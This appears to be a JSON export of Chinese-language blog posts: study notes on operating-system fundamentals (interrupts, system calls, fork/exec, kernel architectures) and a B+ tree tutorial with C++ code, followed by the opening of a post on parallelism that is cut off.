[{"content":"操作系统\r基本信息介绍\r操作系统信息\r在经典的五级结构划分中，计算机组成结构包含数字逻辑层、微体系结构层、指令集架构层、操作系统层、应用程序层。其中前三层属于\u0026quot;硬件层\u0026quot;，最后一层属于\u0026quot;软件层\u0026quot;。操作系统的地位就是硬件和软件之间的媒介。扮演资源分配器和控制程序的角色。 计算机系统的四个组成部分\r硬件(Hardware)：提供基本的计算资源 CPU、内存、I/O设备等 操作系统(Operating System)：控制和协调硬件在用户之间的使用 资源分配器：管理所有资源，决定冲突请求的处理以实现高效和公平的资源共享 控制程序：控制程序执行以防止错误和系统的不当使用 应用程序(Application Programs)：使用系统资源解决计算问题 如文字处理器、编译器、Web浏览器等 用户(Users)： 人、机器、其他计算机等 操作系统定义与视角\r用户视角 vs 系统视角\r用户视角： 用户需要便利性和易用性 不太关心资源利用率 共享计算机（如主机）必须让所有用户满意 手持设备资源受限，优化可用性和电池寿命 系统视角： 操作系统是资源分配器 操作系统是控制程序 操作系统定义\r近似定义：\u0026ldquo;当你订购操作系统时，供应商提供的所有东西\u0026rdquo; 没有普遍接受的定义 供应商提供的内容可能差异很大 内核(Kernel)：\u0026ldquo;始终在计算机上运行的一个程序\u0026rdquo; 其他都是系统程序或应用程序 操作系统在不同上下文中可能有不同含义 计算机系统组成\r硬件组件\r基本结构\rCPU和设备控制器通过总线连接共享内存 CPU和设备并发执行，竞争内存周期 设备控制器\r每个设备控制器负责特定类型的设备 磁盘控制器、USB控制器等 每个设备控制器都有本地缓冲区 I/O过程：在设备和控制器本地缓冲区之间进行 CPU在主内存和控制器缓冲区之间移动数据 I/O设备和CPU可以并发执行 直接内存访问(DMA)\r用途：用于能够以接近内存速度传输信息的高速I/O设备 如以太网、硬盘、CD-ROM等 工作流程： 设备驱动程序向控制器发送I/O描述符 I/O描述符包含：操作类型、内存地址等 控制器在其本地缓冲区和主内存之间传输数据块，无需CPU干预 整个I/O请求完成时只产生一个中断 中断与陷阱\r中断与陷阱讲解\r中断（Interrupt）\r定义：中断是由外部硬件设备产生的异步事件，用来通知CPU某个事件已经发生 特点： 异步发生：不可预知的时间点 由外部硬件触发（如键盘输入、鼠标点击、网络数据到达等） CPU可以选择性地响应或屏蔽某些中断 类型： 硬件中断：由硬件设备产生（如定时器中断、I/O完成中断） 软件中断：由软件指令产生（如系统调用） 处理流程： 硬件检测到中断信号 CPU完成当前指令执行 保存当前程序状态（寄存器、程序计数器等） 跳转到中断服务程序（ISR） 执行中断处理 恢复被中断程序的状态 继续执行被中断的程序 陷阱（Trap）\r定义：陷阱是由正在执行的程序内部产生的同步事件 特点： 同步发生：在特定指令执行时产生 由当前执行的程序触发 通常用于系统调用和异常处理 类型： 系统调用陷阱：用户程序请求操作系统服务 异常陷阱：程序执行错误（如除零错误、非法内存访问等） 调试陷阱：用于程序调试（如断点） 处理流程： 程序执行特定指令（如系统调用指令） CPU立即响应陷阱 切换到内核模式 跳转到相应的陷阱处理程序 执行系统服务或异常处理 返回用户模式（如果适用） 继续执行程序 中断与陷阱的区别\r触发源 中断：外部硬件设备 陷阱：程序内部指令 时机 中断：异步，不可预测 陷阱：同步，可预测 用途 中断：处理外部事件，提高系统响应性 陷阱：实现系统调用，处理程序异常 可屏蔽性 中断：部分可屏蔽 陷阱：通常不可屏蔽 重要性\r提高系统效率：避免CPU空等，实现并发处理 实现系统调用：用户程序与内核通信的桥梁 错误处理：及时处理程序运行时错误 实时响应：确保系统能够及时响应外部事件 操作系统对中断的处理\r中断处理机制\r中断向量表(Interrupt Vector Table) 存储中断服务程序入口地址的表格 每个中断类型对应一个终端号和处理程序地址 通常位于内存的固定位置 中断优先级 可屏蔽中断(Maskable Interrupt)：可以被CPU忽略或延迟处理 不可屏蔽中断(Non-Maskable Interrupt, NMI)：必须立即处理的紧急中断 优先级排序：高优先级中断可以打断低优先级中断的处理 中断处理步骤\r中断识别 硬件产生中断信号 CUPU在每个指令周期结束时检查中断请求 确定中断源和中断类型】 现场保护 自动保存：CPU自动保存程序状态字 手动保存：中断服务程序保存其他寄存器内容 保存到内核栈或进程控制块 中断分发 根据中断号查找中断向量表 跳转到对应的中断服务程序(ISR) 切换到内核模式（如果尚未切换） 中断处理 执行具体的中断服务代码 处理硬件设备的请求 现场恢复 恢复之前保存的寄存器内容 恢复程序状态字和程序计数器 返回被中断的程序继续执行 中断处理策略\r立即处理（Immediate Processing）\n中断发生时立即处理 适用于紧急和高优先级中断 可能影响系统响应时间 延迟处理（Deferred Processing）\n将中断处理分为上半部和下半部 上半部：快速处理紧急部分，清除中断源 下半部：延后处理耗时的非紧急部分 Linux中的软中断（softirq）和工作队列（workqueue） 中断合并（Interrupt Coalescing）\n将多个相同类型的中断合并处理 减少中断处理开销 提高系统吞吐量 中断控制器\r可编程中断控制器（PIC）\n管理多个中断源 设置中断优先级 屏蔽特定中断 高级可编程中断控制器（APIC）\n支持多处理器系统 提供更灵活的中断路由 支持中断重定向和负载均衡 现代操作系统的优化\r中断线程化\n将中断处理程序作为内核线程运行 提高系统的实时性和可预测性 便于调试和性能分析 中断亲和性（Interrupt Affinity）\n将特定中断绑定到特定CPU核心 提高缓存利用率和性能 减少处理器间通信开销 动态中断分配\n根据系统负载动态调整中断处理 实现负载均衡 适应不同的工作负载模式 I/O\rI/O基本介绍\r从系统调用到设备的I/O过程\r系统调用访问：程序使用系统调用访问系统资源 如文件、网络等 设备访问转换：操作系统将其转换为设备访问并发出I/O请求 I/O请求传输：I/O请求发送到设备驱动程序，然后到控制器 如读取磁盘块、发送/接收数据包等 等待处理： 同步I/O：OS让程序等待 异步I/O：OS不等待直接返回给程序 进程切换：当请求者等待时，OS可能切换到另一个程序 I/O完成：I/O完成后控制器中断OS 处理结果： 同步I/O：OS处理I/O然后唤醒程序 异步I/O：OS发送信号给程序 中断驱动的I/O循环\r操作系统通常是中断驱动的 中断传输控制到中断服务程序 中断向量：包含所有服务程序地址的表格 在服务另一个中断时，传入的中断被禁用以防止中断丢失 中断处理程序必须保存（被中断的）执行状态 中断处理详细流程\r中断识别： 硬件产生中断信号 CPU在每个指令周期结束时检查中断请求 确定中断源和中断类型 现场保护： 操作系统保存CPU的执行状态 保存寄存器和程序计数器(PC) 中断分发： OS确定哪个设备造成了中断 轮询(Polling)或向量中断系统 中断处理： OS通过调用设备驱动程序处理中断 现场恢复： OS将CPU执行恢复到保存的状态 存储结构\r存储层次结构\r主存储器\r主内存：CPU能够直接访问的唯一大容量存储 随机访问，通常是易失性的 辅助存储：大容量非易失性存储 磁盘是最常见的辅助存储设备(HDD) 由覆盖磁性记录材料的刚性金属或玻璃盘片组成 磁盘表面逻辑上分为磁道和扇区 磁盘控制器决定OS和设备之间的交互 存储系统层次结构\r存储系统可以按层次组织，考虑以下因素：\n速度(Speed) 成本(Cost) 易失性(Volatility) 存储性能层次（从快到慢）：\nCPU寄存器 CPU缓存(L1/L2/L3) 主内存(RAM) 辅助存储(SSD/HDD) 光学存储/磁带 缓存\r缓存基本概念\r缓存原理\r缓存：将信息复制到更快存储系统中 主内存可以看作是辅助存储的缓存 CPU缓存是主内存的缓存 缓存是在多个级别执行的重要原理 硬件、操作系统、用户程序等 缓存工作机制\r数据复制：使用中的数据从较慢存储临时复制到较快存储 缓存检查：首先检查较快存储(缓存)以确定数据是否存在 缓存命中：如果在缓存中，直接从缓存使用数据(快速) 缓存未命中：如果不在缓存中，先将数据复制到缓存然后使用 缓存特点：缓存通常比被缓存的存储小 缓存管理\r缓存管理是重要的设计问题 缓存大小 替换策略 多任务环境必须小心使用最新值，无论它存储在存储层次的哪里 多处理器环境必须在硬件中提供缓存一致性，确保所有CPU在其缓存中都有最新值 虚拟缓存 vs 物理缓存\r虚拟缓存：使用虚拟地址进行缓存 物理缓存：使用物理地址进行缓存 缓存一致性：多处理器必须保证缓存一致性 计算机系统架构\r系统分类\r根据通用处理器数量分类：\n单处理器系统 多处理器系统 单处理器系统\r大多数老系统只有一个通用处理器 如智能手机、PC、服务器、主机 大多数系统也有专用处理器 多处理器系统\r基本特征\r别名：并行系统、紧耦合系统 优势： 增加吞吐量 规模经济 增加可靠性：优雅降级或容错 多处理器类型\r非对称多处理(Asymmetric Multiprocessing) 对称多处理(SMP, Symmetric Multiprocessing) 多核设计\r多核 vs 超线程\r多核：单个芯片中多个CPU核心 超线程：两个程序可以同时使用一个执行单元(在一个核心内) 性能依赖：操作系统、编译器、应用程序 NUMA架构\r非统一内存访问系统(Non-Uniform Memory Access) 本地内存访问快速，可扩展性好 集群系统\r多个系统通过高速网络协同工作 通常通过**存储区域网络(SAN)**共享存储 高可用性服务，可以在故障中生存 非对称集群：一台机器处于热备用模式 对称集群：多个节点运行应用程序，相互监控 高性能计算(HPC)：应用程序必须编写以使用并行化 分布式系统\r独立系统集合，可能是异构的，通过网络互连 网络OS允许系统交换消息 分布式系统创建单一系统的错觉 特殊用途系统\r实时嵌入式系统\r最普遍的计算机形式 变化很大 使用特殊用途(有限用途)实时OS 多媒体系统\r数据流必须根据时间限制传送 手持系统\r如PDA、智能手机 CPU、内存和电源有限 过去使用功能简化的OS 点对点计算\r分布式系统的另一种模型 P2P不区分客户端和服务器 所有节点都被视为对等体 可以充当客户端、服务器或两者 节点必须加入P2P网络： 向中央查找服务注册其服务，或 通过发现协议广播请求和响应服务 示例：BitTorrent、Napster、Gnutella和区块链平台 操作系统操作\r多道程序设计(Multiprogramming)\r基本概念\r多道程序设计对于效率是必要的 单个用户无法始终保持CPU和I/O设备忙碌 用户的计算任务被组织为作业(代码和数据) 工作机制\r作业调度：内核调度作业，使CPU始终有事可做 内存管理：系统中作业的子集保存在内存中 作业切换：当作业必须等待(如I/O)时，内核切换到另一个作业 多任务(Multitasking)\r时间共享概念\r**时间共享(多任务)**扩展了多道程序设计 OS频繁切换作业，用户可以与每个正在运行的作业交互 响应时间应该\u0026lt; 1秒 特征\r每个用户至少有一个程序在内存中执行(进程) CPU调度：如果几个作业同时准备运行 虚拟/物理内存：使程序员更容易 双模式操作\r基本概念\r操作系统通常是中断驱动的 效率，重新获得控制(定时器中断) 双模式操作允许OS保护自身和其他系统组件 模式类型\r用户模式和内核模式(或其他名称) 模式位区分CPU是在运行用户代码还是内核代码 特权指令：一些指令被指定为特权的，只能在内核中执行 系统调用：将模式改为内核，从调用返回将其重置为用户 模式间转换\r系统调用、异常、中断导致内核/用户模式之间的转换 定时器(Timer)\r防止无限循环或进程占用资源 启用定时器：设置硬件在某个时间段后中断 OS设置定时器：在调度进程之前设置定时器以重新获得控制 调度定时器：通常是周期性的(如250Hz) 无滴答内核：按需定时器中断(Linux) 资源管理\r进程管理\r进程基本概念\r进程是正在执行的程序 程序是被动实体，进程是活动实体 系统有许多进程并发运行 从程序到进程\r程序：存储在磁盘上的被动代码 进程：程序装载到内存后的活动实体 进程需要资源来完成其任务： CPU、内存、I/O、文件、初始化数据等 资源回收：进程终止时，OS回收所有可重用资源 进程管理活动\r进程创建和终止 进程挂起和恢复 进程同步原语 进程通信原语 死锁处理 从进程到线程\r单线程进程有一个程序计数器 程序计数器指定下一条要执行的指令的位置 处理器按顺序执行指令，一次一条，直到完成 多线程进程每个线程有一个程序计数器 线程的好处： 创建开销小 上下文切换快 共享内存空间 并发执行 内存管理\r内存管理基本概念\r内存是CPU可直接访问的主要存储 数据处理前后都需要保存在内存中 所有指令都应该在内存中才能执行 内存管理目标\r优化CPU利用率和响应时间 为程序员提供虚拟内存视图 内存管理活动\r跟踪内存的哪些部分正在被使用以及被谁使用 决定哪些进程和数据移入和移出内存 分配和释放根据需要分配和释放内存空间 文件系统管理\r文件系统基本概念\rOS提供统一的逻辑数据存储视图 文件是抽象物理属性的逻辑存储单元 文件通常组织到目录中 访问控制决定谁可以访问文件 文件系统管理活动\r创建和删除文件和目录 操作原语来操作文件和目录 映射文件到辅助存储 备份文件到稳定(非易失性)存储介质 大容量存储管理\r基本概念\r磁盘子系统管理大容量存储 磁盘用于存储： 不适合主内存的数据 必须保存\u0026quot;长\u0026quot;时间的数据 整个系统速度取决于磁盘子系统及其算法 某些存储不需要快速(如光存储或磁带) 大容量存储管理活动\r空闲空间管理 存储分配 磁盘调度 数据迁移通过存储层\r系统必须使用最新值，无论它存储在哪里 多级数据一致性： 多处理器的缓存一致性(缓存窥探)：由硬件实现 所有CPU在其缓存中都有最新值 多进程或多线程的同步 分布式环境情况更复杂 一个数据可能存在多个副本：如何同步更改？ I/O系统管理\rI/O子系统职责\rI/O子系统向用户隐藏硬件设备的特性 I/O子系统负责： 管理I/O内存 缓冲：在数据传输时临时存储数据 缓存：在更快存储中存储数据部分以提高性能 假脱机：一个作业的输出与其他作业的输入重叠 设备驱动程序接口\rOS可能提供通用设备驱动程序接口 优点：对程序员好：面向对象设计模式 缺点：从安全角度看：大量使用函数指针 操作系统设计原则\r策略与机制分离\r基本概念\r机制(Mechanism)：关于系统\u0026quot;如何\u0026quot;的问题 操作系统如何执行上下文切换 策略(Policy)：\u0026ldquo;哪个\u0026quot;问题 应该切换到哪个进程 其他示例\r机制示例： 如何分配内存 如何调度CPU 如何处理中断 策略示例： 哪个进程获得内存 哪个进程优先运行 哪个中断优先处理 优势与劣势\r优势： 灵活性：可以更改策略而不改变机制 模块化：清晰的分层设计 可维护性：更容易理解和修改 劣势： 性能开销：额外的抽象层 复杂性：需要更仔细的设计 虚拟化\r虚拟化概念\r抽象单个计算机的硬件(CPU/内存/IO等)到不同环境 虚拟机：提供与底层硬件相同接口的软件 好处： 资源共享 隔离性 可移植性 易于管理 虚拟化类型\r完全虚拟化：完全模拟硬件 半虚拟化：修改客户OS以与虚拟机监控器协作 硬件辅助虚拟化：硬件支持虚拟化 抽象\r抽象的重要性\r抽象是我们在计算机科学中所做的一切的基础\n抽象使以下成为可能：\n编写大型程序：将其分为小而可理解的片段 使用高级语言：如C语言编写而不考虑汇编 汇编编程：而不考虑逻辑门 构建处理器：使用门而不过多考虑晶体管 抽象层次\r应用程序层：用户程序 高级语言层：C/C++/Java等 汇编语言层：汇编指令 指令集架构层：机器指令 微架构层：CPU内部实现 逻辑门层：数字逻辑 晶体管层：物理实现 操作系统框架\r操作系统服务组成\r用户可见服务 用户界面(UI) 包括：CLI(Command-Line, 命令行), GUI(Graphic User Line, 图形化用户界面), batch 程序运行 I/O操作 文件系统操作 通信 错误检测 系统可见服务 资源分配 包括：CPU调度，内存分配和管理，I/O设备分配 系统保护 会计统计 系统调用(System Call)\r定义\r系统调用指的是访问操作系统服务的编程接口 示例\rLinux的复制指令 1 cp in.txt out.txt 就是一个调用系统调用 调用\r一般一个系统调用被与一个数字联系起来，这个数字被称为系统调用号(System Call Number) 例如Linux中read()可能是编号0，write()可能是编号1 系统调用接口表 系统调用接口维护着一个表格，这个表格被这些编号索引，表格中存储着对应系统调用处理函数的地址，类似于您文档中提到的中断向量表观念 Linux系统调用数量示例 Linux有大约340个系统调用，不同架构的系统调用数量略有差异。x86架构有349个系统调用，而ARM架构有345个 系统调用的核心原理\r内核执行系统调用并返回结果 用户程序无需了解系统调用细节 用户只需使用API并理解其功能 API隐藏操作系统接口的大部分细节 系统调用传参\r寄存器法\r工作原理 参数直接存储在CPU寄存器中 系统调用时，内核直接从寄存器读取参数 优势 速度最快 实现简单 开销最小 劣势 参数数量首先 不适合复杂调用 内存块法 工作原理 参数存储在内存块（或表）中 内存块的地址作为参数传递给寄存器 内核通过地址访问内存块获取所有参数 优势 参数数量不受限制：内存块可以很大 适合复杂数据结构：可以传递结构体、数组等 组织性好：参数集中管理 劣势 需要额外内存访问 实现稍复杂 栈法 工作原理 参数被程序推入栈中 操作系统从栈中弹出参数 利用栈的后进先出特性 优势 参数数量不受限制 自然的调用约定 易于实现 劣势 栈操作开销 栈空间管理 Linux/x86架构下execve系统调用的实现\r存储系统调用信号到eax寄存器 参数存储到指定寄存器 执行系统调用指令 完整汇编代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 section .data filename db \u0026#39;/bin/ls\u0026#39;, 0 arg1 db \u0026#39;ls\u0026#39;, 0 arg2 db \u0026#39;-l\u0026#39;, 0 argv dd filename, arg1, arg2, 0 envp dd 0 section .text global _start _start: mov eax, 11 mov ebx, filename mov ecx, argv mov edx, envp int 0x80 mov eax, 1 mov ebx, -1 int 0x80 系统调用列举\r进程控制 Types of System Calls Process control create process, terminate process end, abort load, execute get process attributes, set process attributes wait for time wait event, signal event allocate and free memory Dump memory if error Debugger for determining bugs, single step execution Locks for managing access to shared data between processes 文件管理 create file, delete file open, close file read, write, reposition get and set file attributes 设备管理 request device, release device read, write, reposition get device attributes, set device attributes logically attach or detach devices can be combined with file management system call 信息维护 get time or date, set time or date get system data, set system data get and set process, file, or device attributes 通信 create, delete communication connection send, receive messages: message passing model to host name or process name From client to server Shared-memory model create and gain access to memory regions transfer status information attach and detach remote devices 保护 Control access to resources Get and set permissions Allow and deny user access 应用程序接口(Application Programming Interface, API)\r定义：\r应用程序编程接口，是预先定义的函数/集合的集合 常用的API\rWin32： Windows POSIX： UNIX, Linux Java: Java虚拟机 链接器(Linker)与加载器(Loader)\r基本概念\r链接器\r功能：将目标文件转换为可执行文件 作用：解决符号引用，合并代码段和数据段、 时机：编译时或程序启动时 加载器\r功能：将程序转换为进程 作用：将可执行文件加载到内存并启动执行 时机：程序执行时 工作方式和内容\r编译链接过程\r链接类型对比\r静态链接 特点 链接时机：编译时完成所有链接 文件大小：较大，包含所有依赖库 运行依赖：无外部依赖，独立运行 优点 运行时无依赖 加载速度快 部署简单 缺点 文件体积大 内存占用多 库更新需要重新编译 动态链接 特点 链接时机：运行时动态链接 文件大小：较小，只包含引用信息 运行依赖：需要动态链接库(DLL/SO) 优点： 文件体积小 内存共享 库更新无需重新编译 节省磁盘空间 缺点： 运行时有依赖 加载稍慢 部署复杂 注：延迟绑定(Lazy Binding) 概念 定义：动态链接库中的函数在第一次调用时才进行地址解析 目的：减少程序启动时间，只解析实际使用的函数 操作系统架构\r已有的操作系统架构\rMS-DOS\r架构特点：简单的单体结构 特征： 应用程序可以直接访问硬件 没有明确的用户模式和内核模式分离 程序运行在单一地址空间 优点： 系统开销小 执行效率高 实现简单 缺点： 系统不稳定，一个程序崩溃可能导致整个系统崩溃 安全性差 不支持多任务 Original-UNIX\r架构特点：经典的分层单体内核 特征： 内核和用户程序分离 系统调用作为内核和用户程序的接口 \u0026ldquo;一切皆文件\u0026quot;的设计理念 优点： 简洁而强大的设计 良好的可移植性 多用户多任务支持 缺点： 内核代码耦合度高 难以扩展和维护 单体内核的性能瓶颈 分层方法(Layered Approach)\r基本概念： 操作系统被划分为多个层次(levels) 每一层都建立在较低层之上 最底层(第0层)是硬件，最高层(第N层)是用户界面 每一层只使用较低层的函数和服务 THE操作系统分层示例： 1 2 3 4 5 6 第5层: 用户程序 第4层: 输入/输出管理 第3层: 操作员-进程通信 第2层: 内存管理 第1层: 进程调度 第0层: 硬件 优点： 模块化设计，便于调试和维护 层次清晰，易于理解 易于验证系统正确性 缺点： 性能开销大(多层调用) 层次划分困难 严格分层限制系统灵活性 微内核方法(Microkernel Approach)\r基本概念： 将尽可能多的功能从内核移到用户空间 内核只保留最基本的功能 其他系统服务作为用户级进程运行 微内核核心功能： 进程间通信(IPC) 基本进程管理 低级内存管理 基本I/O和中断管理 用户空间服务： 文件系统服务器 网络协议栈 设备驱动程序 虚拟内存管理器 优点： 系统稳定性高(服务崩溃不影响内核) 安全性好(服务运行在隔离的地址空间) 易于扩展和维护 支持分布式系统 缺点： IPC开销大，性能较低 系统调用开销增加 设计和实现复杂 模块化方法(Modular Approach)\r基本概念： 结合单体内核和微内核的优点 内核提供核心服务 其他功能通过可装载模块实现 特征： 模块可以动态加载和卸载 模块运行在内核空间 通过定义良好的接口通信 Linux模块示例： 文件系统模块(ext4, ntfs) 网络协议模块(TCP/IP) 设备驱动模块 优点： 灵活性高 内存使用效率高 易于维护和扩展 性能好(避免用户空间切换) 缺点： 模块错误可能影响整个内核 接口设计需要谨慎 依赖关系管理复杂 混合系统架构\r基本概念： 结合多种架构方法的优点 针对不同功能采用最适合的架构 现代操作系统实例： Windows NT：混合微内核架构 内核模式：HAL、内核、执行体 用户模式：子系统、应用程序 macOS：基于Mach微内核的混合架构 Mach微内核 + BSD层 + I/O Kit Linux：模块化单体内核 单体内核 + 可装载模块 系统调用实例\r进程管理系统调用示例\rfork系统调用\r基本概念：创建新进程的方式 特殊之处： 新创建的进程是调用进程的完全副本 返回两次：在父进程和子进程中分别返回 新进程拥有自己的内存地址空间 返回值： 在父进程中：返回子进程的PID 在子进程中：返回0 出错时：返回-1 fork + wait组合\rwait系统调用：父进程等待子进程执行完毕 用途： 避免僵尸进程 获取子进程退出状态 进程同步控制 典型使用模式： 1 2 3 4 5 6 7 8 pid_t pid = fork(); if (pid == 0) { // 子进程代码 exit(0); } else if (pid \u0026gt; 0) { // 父进程代码 wait(NULL); // 等待子进程结束 } fork + wait + exec组合\rexec系统调用特点： 用于运行与调用程序不同的程序 exec永不返回(成功时) 完全替换当前进程映像 为什么分离fork和exec： 构建UNIX shell的基础 允许在fork后、exec前进行特殊操作 提供更大的灵活性 Shell工作原理： Shell是一个用户程序 等待用户输入 执行命令：fork创建子进程 → exec加载新程序 → wait等待完成 分离设计使shell功能更强大 调试相关系统调用\rptrace系统调用\r基本概念：进程追踪系统调用 主要功能： 一个进程可以控制另一个进程的执行 检查和修改被追踪进程的内存和寄存器 实现断点调试功能 应用场景： 调试器实现：gdb、strace等工具的基础 进程监控和分析 安全分析工具 调试器(Debugger)工作原理\r定义：用于测试和调试其他程序的计算机程序 基本操作： 附加到进程(Attaching to a process) 基本控制(Basic Control)：暂停、继续、单步执行 设置断点(Setting a breakpoint) 命中断点(Hitting a breakpoint) ptrace在调试中的应用： 通过ptrace系统调用实现进程控制 监控被调试程序的每个系统调用 提供程序执行状态的实时查看 系统调用实践要点\r进程创建模式：fork + exec是UNIX系统进程创建的标准模式 Shell实现：所有UNIX shell都基于fork/exec/wait三个系统调用 调试工具：现代调试器和追踪工具都依赖ptrace系统调用 手册参考：使用man page查看详细的系统调用文档和使用方法 ","date":"2025-08-13T21:40:00+08:00","permalink":"https://example.com/p/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/","title":"操作系统"},{"content":"B+树\rB+树\r基本概念\rB+树是B树的一种变形，专门为磁盘存储和数据库系统设计的平衡多路搜索树 关键特征 所有数据都储存在叶子节点 内部节点只存储键值，不存储数据 叶子节点之间用链表连接 支持高效的范围查询 B树的结构特点\r示意图\rgraph TD\rsubgraph \"B+树结构示例 (m=4)\"\rA[\"根节点[30, 60]\"] B[\"内部节点[10, 20]\"]\rC[\"内部节点[40, 50]\"] D[\"内部节点[70, 80]\"]\rE[\"叶子节点[5, 8, 10]data\"]\rF[\"叶子节点[15, 18, 20]data\"]\rG[\"叶子节点[25, 28, 30]data\"]\rH[\"叶子节点[35, 38, 40]data\"]\rI[\"叶子节点[45, 48, 50]data\"]\rJ[\"叶子节点[55, 58, 60]data\"]\rK[\"叶子节点[65, 68, 70]data\"]\rL[\"叶子节点[75, 78, 80]data\"]\rM[\"叶子节点[85, 88, 90]data\"]\rA --\u003e B\rA --\u003e C\rA --\u003e D\rB --\u003e E\rB --\u003e F\rB --\u003e G\rC --\u003e H\rC --\u003e I\rC --\u003e J\rD --\u003e K\rD --\u003e L\rD --\u003e M\rE -.-\u003e F\rF -.-\u003e G\rG -.-\u003e H\rH -.-\u003e I\rI -.-\u003e J\rJ -.-\u003e K\rK -.-\u003e L\rL -.-\u003e M\rend\rstyle A fill:#ffcccc\rstyle B fill:#ffffcc\rstyle C fill:#ffffcc\rstyle D fill:#ffffcc\rstyle E fill:#ccffcc\rstyle F fill:#ccffcc\rstyle G fill:#ccffcc\rstyle H fill:#ccffcc\rstyle I fill:#ccffcc\rstyle J fill:#ccffcc\rstyle K fill:#ccffcc\rstyle L fill:#ccffcc\rstyle M fill:#ccffcc\r节点结构\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct InternalNode{ int keyCount; KeyType keys[m-1]; Node* children[m]; bool isLeaf = false; }; //内部节点定义 struct LeafNode{ int ketCount; KeyType keys[m]; DataType data[m]; LeafNode* next; bool isLeaf = true; }; //叶子节点定义 B+树的性质定义\r阶数(Order)的定义\r对于m阶B+树 根节点：至少有2个子节点（非叶子根节点） 内部节点：至少有$\\lceil m/2 \\rceil$个子节点，至多有m个子节点 叶子节点：至少有$\\lceil m/2 \\rceil$个键值，至多有m个键值 所有叶子节点在同一层（完全平衡） B+树的关键特性\r特性1：叶子节点链表 所有叶子节点通过指针连接成有序链表 支持高效的范围查询 支持顺序访问 支持快速的区间扫描 示例：查找范围[25, 65] 定位到第一个叶子节点（包含25） 沿着链表顺序访问，直到65 无需回到内部节点 特性2：数据存储的分离 内部节点 只存储键值和指针 不存储实际数据 纯粹的索引结构 叶子节点 存储键值和对应地数据 是唯一地数据存储位置 所有查询最终都要到达叶子节点 特性3：键值的冗余 B+树中的键值存在冗余 内部节点的键值也会出现在叶子节点中 内部节点的键值起到路标作用 叶子节点的键值关联实际数据 示例： 内部节点有键30：表示“大于等于30的数据在右子树” 叶子节点有间30：表示存储键30对应的实际数据 B+树的基本操作\r查找\r单点查找\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 DataType search(KeyType key) { Node* current = root; // 从根节点向下搜索到叶子节点 while (!current-\u0026gt;isLeaf) { InternalNode* internal = (InternalNode*)current; int i = 0; // 找到合适的子节点 while (i \u0026lt; internal-\u0026gt;keyCount \u0026amp;\u0026amp; key \u0026gt;= internal-\u0026gt;keys[i]) { i++; } current = internal-\u0026gt;children[i]; } // 在叶子节点中查找 LeafNode* leaf = (LeafNode*)current; for (int i = 0; i \u0026lt; leaf-\u0026gt;keyCount; i++) { if (leaf-\u0026gt;keys[i] == key) { return leaf-\u0026gt;data[i]; } } return NULL; // 未找到 } // 时间复杂度：O(log_m n) 范围查找\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 vector\u0026lt;DataType\u0026gt; rangeSearch(KeyType start, KeyType end) { vector\u0026lt;DataType\u0026gt; result; // 1. 找到起始叶子节点 LeafNode* current = findLeafNode(start); // 2. 沿着叶子链表扫描 while (current != nullptr) { for (int i = 0; i \u0026lt; current-\u0026gt;keyCount; i++) { if (current-\u0026gt;keys[i] \u0026gt;= start \u0026amp;\u0026amp; current-\u0026gt;keys[i] \u0026lt;= end) { result.push_back(current-\u0026gt;data[i]); } if (current-\u0026gt;keys[i] \u0026gt; end) { return result; // 超出范围，结束 } } current = current-\u0026gt;next; // 移到下一个叶子节点 } return result; } // 范围查询的优势： // - 只需要一次定位到起始位置 // - 后续是顺序的链表遍历 // - 无需重复搜索内部节点 插入操作\r插入过程\r1 2 3 4 5 6 7 8 9 10 11 12 void insert(KeyType key, DataType data) { // 1. 找到应该插入的叶子节点 LeafNode* leaf = findLeafNode(key); // 2. 在叶子节点中插入 insertIntoLeaf(leaf, key, data); // 3. 检查是否需要分裂 if (leaf-\u0026gt;keyCount \u0026gt; m) { splitLeaf(leaf); } } 叶子节点分裂\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void splitLeaf(LeafNode* oldLeaf) { // 创建新的叶子节点 LeafNode* newLeaf = new LeafNode(); int mid = (m + 1) / 2; // 将一半键值移到新节点 for (int i = mid; i \u0026lt; oldLeaf-\u0026gt;keyCount; i++) { newLeaf-\u0026gt;keys[i - mid] = oldLeaf-\u0026gt;keys[i]; newLeaf-\u0026gt;data[i - mid] = oldLeaf-\u0026gt;data[i]; } newLeaf-\u0026gt;keyCount = oldLeaf-\u0026gt;keyCount - mid; oldLeaf-\u0026gt;keyCount = mid; // 更新链表指针 newLeaf-\u0026gt;next = oldLeaf-\u0026gt;next; oldLeaf-\u0026gt;next = newLeaf; // 向父节点插入新的键值 KeyType upKey = newLeaf-\u0026gt;keys[0]; insertIntoParent(oldLeaf, upKey, newLeaf); } 内部节点分裂\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void splitInternal(InternalNode* oldNode) { InternalNode* newNode = new InternalNode(); int mid = m / 2; KeyType upKey = oldNode-\u0026gt;keys[mid]; // 移动键值和子节点 for (int i = mid + 1; i \u0026lt; oldNode-\u0026gt;keyCount; i++) { newNode-\u0026gt;keys[i - mid - 1] = oldNode-\u0026gt;keys[i]; } for (int i = mid + 1; i \u0026lt;= oldNode-\u0026gt;keyCount; i++) { newNode-\u0026gt;children[i - mid - 1] = oldNode-\u0026gt;children[i]; } newNode-\u0026gt;keyCount = oldNode-\u0026gt;keyCount - mid - 1; oldNode-\u0026gt;keyCount = mid; // 向上传播 insertIntoParent(oldNode, upKey, newNode); } 删除操作\r删除过程\r1 2 3 4 5 6 7 8 9 10 11 12 void remove(KeyType key) { // 1. 找到包含key的叶子节点 LeafNode* leaf = findLeafNode(key); // 2. 从叶子节点删除key removeFromLeaf(leaf, key); // 3. 检查是否需要合并或重分布 if (leaf-\u0026gt;keyCount \u0026lt; ceil(m / 2.0)) { handleUnderflow(leaf); } } 处理下溢出\r1 2 3 4 5 6 7 8 9 10 11 void handleUnderflow(LeafNode* node) { LeafNode* sibling = findSibling(node); if (sibling-\u0026gt;keyCount \u0026gt; ceil(m / 2.0)) { // 情况1：兄弟节点有多余键值，重分布 redistribute(node, sibling); } else { // 情况2：兄弟节点也是最少键值，合并 merge(node, sibling); } } ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/b-%E6%A0%91/","title":"B+树"},{"content":"并行\r并行模式\r指令级并行\r在一个 CPU 